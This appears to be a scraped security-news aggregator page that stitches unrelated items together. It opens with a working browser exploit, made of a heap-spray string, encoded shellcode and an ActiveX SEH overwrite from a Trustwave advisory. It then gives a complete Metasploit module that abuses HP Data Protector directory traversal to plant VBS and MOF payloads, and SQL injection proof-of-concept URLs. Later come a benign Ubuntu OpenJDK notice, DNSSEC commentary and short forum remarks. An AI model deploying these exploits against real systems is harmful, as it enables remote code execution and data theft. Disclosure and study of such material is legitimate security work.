5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05 %05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05% 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05% 05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0 5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%90%90%eb%06%a9%15%6c%74%90%90%90%90%90%90%90%90%90%90%90%90"); var buffer = ""; for (i=0; i < 18004; i++ ){ buffer += "%41"; } buffer = unescape(buffer); var shellcode = "\xda\xd1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x5a\x48\x4f\x79\x33\x30\x45\x50\x35\x50\x71\x70\x6c\x49\x6b\x55\x65\x61\x4b\x62\x63\x54\x6e\x6b\x70\x52\x44\x70\x6e\x6b\x56\x32\x56\x6c\x6e\x6b\x56\x32\x34\x54\x6e\x6b\x33\x42\x74\x68\x34\x4f\x4e\x57\x32\x6a\x54\x66\x56\x51\x49\x6f\x45\x61\x49\x50\x4c\x6c\x37\x4c\x75\x31\x73\x4c\x73\x32\x76\x4c\x75\x70\x6b\x71\x5a\x6f\x76\x6d\x35\x51\x6b\x77\x38\x62\x5a\x50\x71\x42\x56\x37\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x42\x65\x6c\x73\x31\x6e\x30\x6c\x4b\x53\x70\x43\x48\x6e\x65\x6f\x30\x62\x54\x51\x5a\x55\x51\x4a\x70\x42\x70\x4c\x4b\x71\x58\x52\x38\x6e\x6b\x71\x48\x65\x70\x37\x71\x4e\x33\x6a\x43\x67\x4c\x71\x59\x4c\x4b\x75\x64\x4c\x4b\x57\x71\x6b\x66\x35\x61\x69\x6f\x54\x71\x4f\x30\x4e\x4c\x4b\x71\x48\x4f\x64\x4d\x47\x71\x7a\x67\x75\x68\ x59\x70\x74\x35\x79\x64\x46\x63\x71\x6d\x78\x78\x37\x4b\x51\x6d\x45\x74\x61\x65\x59\x72\x32\x78\x6c\x4b\x72\x78\x45\x74\x63\x31\x4b\x63\x30\x66\x6e\x6b\x64\x4c\x52\x6b\x6e\x6b\x52\x78\x37\x6c\x35\x51\x6e\x33\x4e\x6b\x66\x64\x6e\x6b\x37\x71\x6e\x30\x4b\x39\x77\x34\x54\x64\x75\x74\x71\x4b\x33\x6b\x71\x71\x56\x39\x61\x4a\x76\x31\x69\x6f\x6d\x30\x50\x58\x61\x4f\x32\x7a\x6c\x4b\x47\x62\x58\x6b\x4e\x66\x43\x6d\x50\x6a\x57\x71\x4e\x6d\x6e\x65\x6d\x69\x77\x70\x47\x70\x73\x30\x62\x70\x42\x48\x46\x51\x4e\x6b\x50\x6f\x6b\x37\x39\x6f\x4a\x75\x4d\x6b\x5a\x50\x38\x35\x4c\x62\x76\x36\x32\x48\x6c\x66\x4f\x65\x4d\x6d\x6f\x6d\x39\x6f\x69\x45\x55\x6c\x76\x66\x33\x4c\x76\x6a\x6d\x50\x39\x6b\x4b\x50\x52\x55\x66\x65\x6f\x4b\x53\x77\x76\x73\x63\x42\x30\x6f\x53\x5a\x65\x50\x73\x63\x79\x6f\x5a\x75\x61\x73\x33\x51\x30\x6c\x62\x43\x44\x6e\x35\x35\x61\x68\x63\x55\x43\x30\x41\x41"; var seh_code = overwrite + shellcode + buffer; activex2.IconCreate(seh_code,'',''); </script> </body> </html> <!-- Remediation Steps: The vendor has released a fix in version 1.1.0.6 Revision History: 12/20/13 - Vulnerability disclosed to vendor 01/03/14 - Patch released by vendor 01/06/14 - Advisory published 01/07/14 - Confirmed fix 01/07/14 - Advisory revision published References 1. Daum ?? About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com About Trustwave SpiderLabs: SpiderLabs® is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. ________________________________ This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is strictly prohibited. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.--> Source : TrustWave Exploit DB

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::EXE include Msf::Exploit::WbemExec include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'HP Data Protector Backup Client Service Directory Traversal', 'Description' => %q{ This module exploits a directory traversal vulnerability in the Hewlett-Packard Data Protector product. The vulnerability exists at the Backup Client Service (OmniInet.exe) when parsing packets with opcode 42. This module has been tested successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3. }, 'Author' => [ 'Brian Gorenc', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2013-6194' ], [ 'OSVDB', '101630' ], [ 'BID', '64647' ], [ 'ZDI', '14-003' ], [ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ] ], 'Privileged' => true, 'Payload' => { 'Space' => 2048, # Payload embedded into an exe 'DisableNops' => true }, 'DefaultOptions' => { 'WfsDelay' => 5 }, 'Platform' => 'win', 'Targets' => [ [ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) register_options([Opt::RPORT(5555)], self.class) end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end print_status("#{peer} - HP Data Protector version #{fingerprint}") if fingerprint =~ /HP Data Protector A\.06\.(\d+)/ minor = $1.to_i else return Exploit::CheckCode::Safe end if minor < 21 return Exploit::CheckCode::Vulnerable elsif minor == 21 return Exploit::CheckCode::Detected else return Exploit::CheckCode::Detected end end def exploit # Setup the necessary files to do the wbemexec trick vbs_name = rand_text_alpha(rand(10)+5) + '.vbs' exe = generate_payload_exe vbs = Msf::Util::EXE.to_exe_vbs(exe) mof_name = rand_text_alpha(rand(10)+5) + '.mof' mof = generate_mof(mof_name, vbs_name) # We can't upload binary contents, so embedding the exe into a VBS. print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...") upload_file("windows\\system32\\#{vbs_name}", vbs) register_file_for_cleanup(vbs_name) print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}") upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof) register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}") end def peer "#{rhost}:#{rport}" end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint ommni = connect ommni.put(rand_text_alpha_upper(64)) resp = ommni.get_once(-1) disconnect if resp.nil? return nil end return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl end def upload_file(file_name, contents) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "42", # Opcode rand_text_alpha(8), # command rand_text_alpha(8), # rissServerName rand_text_alpha(8), # rissServerPort "\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate contents # Certificate contents ]) sock.put(pkt) sock.get_once # You cannot be confident about the response to guess if upload # has been successful or not. While testing, different result codes, # including also no response because of timeout due to a process # process execution after file write on the target disconnect end end Source : Exploit DB

Ubuntu Security Notice USN-2089-1 A security issue affects these releases of Ubuntu and its derivatives: Ubuntu 13.10 Ubuntu 13.04 Ubuntu 12.10 Summary Several security issues were fixed in OpenJDK 7. Software description openjdk-7 - Open Source Java implementation Details Several vulnerabilities were discovered in the OpenJDK JRE related to information disclosure and data integrity. An attacker could exploit these to expose sensitive data over the network. (CVE-2013-3829, CVE-2013-5783, CVE-2013-5804, CVE-2014-0411) Several vulnerabilities were discovered in the OpenJDK JRE related to availability. An attacker could exploit these to cause a denial of service. (CVE-2013-4002, CVE-2013-5803, CVE-2013-5823, CVE-2013-5825, CVE-2013-5896, CVE-2013-5910) Several vulnerabilities were discovered in the OpenJDK JRE related to data integrity. (CVE-2013-5772, CVE-2013-5774, CVE-2013-5784, CVE-2013-5797, CVE-2013-5820, CVE-2014-0376, CVE-2014-0416) Several vulnerabilities were discovered in the OpenJDK JRE related to information disclosure. An attacker could exploit these to expose sensitive data over the network. (CVE-2013-5778, CVE-2013-5780, CVE-2013-5790, CVE-2013-5800, CVE-2013-5840, CVE-2013-5849, CVE-2013-5851, CVE-2013-5884, CVE-2014-0368) Several vulnerabilities were discovered in the OpenJDK JRE related to information disclosure, data integrity and availability. An attacker could exploit these to cause a denial of service or expose sensitive data over the network. (CVE-2013-5782, CVE-2013-5802, CVE-2013-5809, CVE-2013-5829, CVE-2013-5814, CVE-2013-5817, CVE-2013-5830, CVE-2013-5842, CVE-2013-5850, CVE-2013-5878, CVE-2013-5893, CVE-2013-5907, CVE-2014-0373, CVE-2014-0408, CVE-2014-0422, CVE-2014-0428) A vulnerability was discovered in the OpenJDK JRE related to information disclosure and availability. An attacker could exploit this to expose sensitive data over the network or cause a denial of service. (CVE-2014-0423) Update instructions The problem can be corrected by updating your system to the following package version: Ubuntu 13.10: openjdk-7-jre-lib 7u51-2.4.4-0ubuntu0.13.10.1 openjdk-7-jre-zero 7u51-2.4.4-0ubuntu0.13.10.1 icedtea-7-jre-jamvm 7u51-2.4.4-0ubuntu0.13.10.1 openjdk-7-jre-headless 7u51-2.4.4-0ubuntu0.13.10.1 openjdk-7-jre 7u51-2.4.4-0ubuntu0.13.10.1 Ubuntu 13.04: openjdk-7-jre-lib 7u51-2.4.4-0ubuntu0.13.04.2 openjdk-7-jre-zero 7u51-2.4.4-0ubuntu0.13.04.2 icedtea-7-jre-jamvm 7u51-2.4.4-0ubuntu0.13.04.2 openjdk-7-jre-headless 7u51-2.4.4-0ubuntu0.13.04.2 openjdk-7-jre 7u51-2.4.4-0ubuntu0.13.04.2 Ubuntu 12.10: openjdk-7-jre-zero 7u51-2.4.4-0ubuntu0.12.10.2 icedtea-7-jre-jamvm 7u51-2.4.4-0ubuntu0.12.10.2 icedtea-7-jre-cacao 7u51-2.4.4-0ubuntu0.12.10.2 openjdk-7-jre-lib 7u51-2.4.4-0ubuntu0.12.10.2 openjdk-7-jre-headless 7u51-2.4.4-0ubuntu0.12.10.2 openjdk-7-jre 7u51-2.4.4-0ubuntu0.12.10.2 To update your system, please follow these instructions: https://wiki.ubuntu.com/Security/Upgrades. This update uses a new upstream release, which includes additional bug fixes. After a standard system update you need to restart any Java applications or applets to make all the necessary changes. References CVE-2013-3829, CVE-2013-4002, CVE-2013-5772, CVE-2013-5774, CVE-2013-5778, CVE-2013-5780, CVE-2013-5782, CVE-2013-5783, CVE-2013-5784, CVE-2013-5790, CVE-2013-5797, CVE-2013-5800, CVE-2013-5802, CVE-2013-5803, CVE-2013-5804, CVE-2013-5805, CVE-2013-5806, CVE-2013-5809, CVE-2013-5814, CVE-2013-5817, CVE-2013-5820, CVE-2013-5823, CVE-2013-5825, CVE-2013-5829, CVE-2013-5830, CVE-2013-5840, CVE-2013-5842, CVE-2013-5849, CVE-2013-5850, CVE-2013-5851, CVE-2013-5878, CVE-2013-5884, CVE-2013-5893, CVE-2013-5896, CVE-2013-5907, CVE-2013-5910, CVE-2014-0368, CVE-2014-0373, CVE-2014-0376, CVE-2014-0408, CVE-2014-0411, CVE-2014-0416, CVE-2014-0422, CVE-2014-0423, CVE-2014-0428 Source : Ubuntu Blog

Through the hard work of many in the Internet community, the majority of top-level domains in the root now deploys DNSSEC. DNS Security Extensions provide the biggest security upgrade to Internet infrastructure in more than 20 years. By deploying cryptographic records alongside existing DNS records, DNSSEC-enabled systems can verify that the information received from the DNS has not been modified in transit and is what was intended by the Registrant who sent it. The 50% milestone complements a long list of successful efforts by the community and ICANN that have brought us to this point. Starting with the development of the protocols to secure the DNS in the mid-90s, trendsetting deployment by security-conscious TLDs (e.g., .se), government requirements, public vulnerability discoveries (e.g., Kaminsky), deployment at the root by an international team; to ISP and DNS operator (e.g., Google) support – the trend is clear. We have also witnessed and benefited from widespread deployment and support of DNSSEC by some Registrars in some countries (e.g., .nl, .se). And with DNSSEC support required of the over 1000 new gTLDs, we shall continue to enjoy widespread implementation of DNSSEC at the infrastructure level. But we still have a way to go. Without widespread deployment by Registrants on their domain names, end users and content providers cannot benefit from all of the security, and new and innovative opportunities that DNSSEC will bring. However, with the help of Registrars, DNS operators, vendors, ISPs, as well as the awareness and training efforts that ICANN and other organizations provide, we hope that securing Registrant DNS content, whatever it is, will become widespread and that Internet users may one day enjoy the simple trusted experience that using the ‘Net once was. Rick Lamb SR. PROGRAM MANAGER, DNSSEC Source : ICANN

DNSSEC is a system designed to guarantee the authenticity of data obtained from the domain name system (DNS). Let's dig into the basics and see how it works and take a look at why DNSSEC deployment not growing as fast as we would like. http://youtu.be/2Y69Y7Fk0l0 Source : Cisco

CNN website hacked: "China dumps all bonds" (googleusercontent.com) Source : News

#### # Exploit Title: iTechClassifieds v3.03.057 - SQL Injection # Date: 23/01/2014 # Exploit Author: vinicius777 # Vendor Homepage: Downloads - ITechScripts.com # Software Link: http://itechscripts.com/downloads/download_itechclassifieds.html # Version: 3.03.057 #### [1] SQL Injection - PreviewNun PoC: http://localhost/iTechClassifieds_v3/ChangeEmail.php?PreviewNum=1' [SQL INJECTION] [2] SQL Injection - CatID PoC: http://localhost/iTechClassifieds_v3/ViewCat.php?CatID=[SQL INJECTION] # # # Greetz to g0tm1lk and TheColonial.

As recomanda Sublime Text si Coda, dar depinde de fiecare.

O initiativa de apreciat avand in vedere ca unii dintre programatori sau testeri au nevoie de un mediu de dezvoltare si testare a aplicatiilor fara a fi nevoie sa incarce alte masini (pc-uri) reale. Felicitari si mult succes !

This means that it’s now easier than ever to copy, clone, or fork the whole repository. The previous SVN CVS has been retired. To clone the latest version of EDB exploits, you can simply run the following: git clone https://github.com/offensive-security/exploit-database With this transition to GitHub, we have also changed the repository update interval from weekly to daily so you can stay on the bleeding edge far more easily. Source : Offesive Security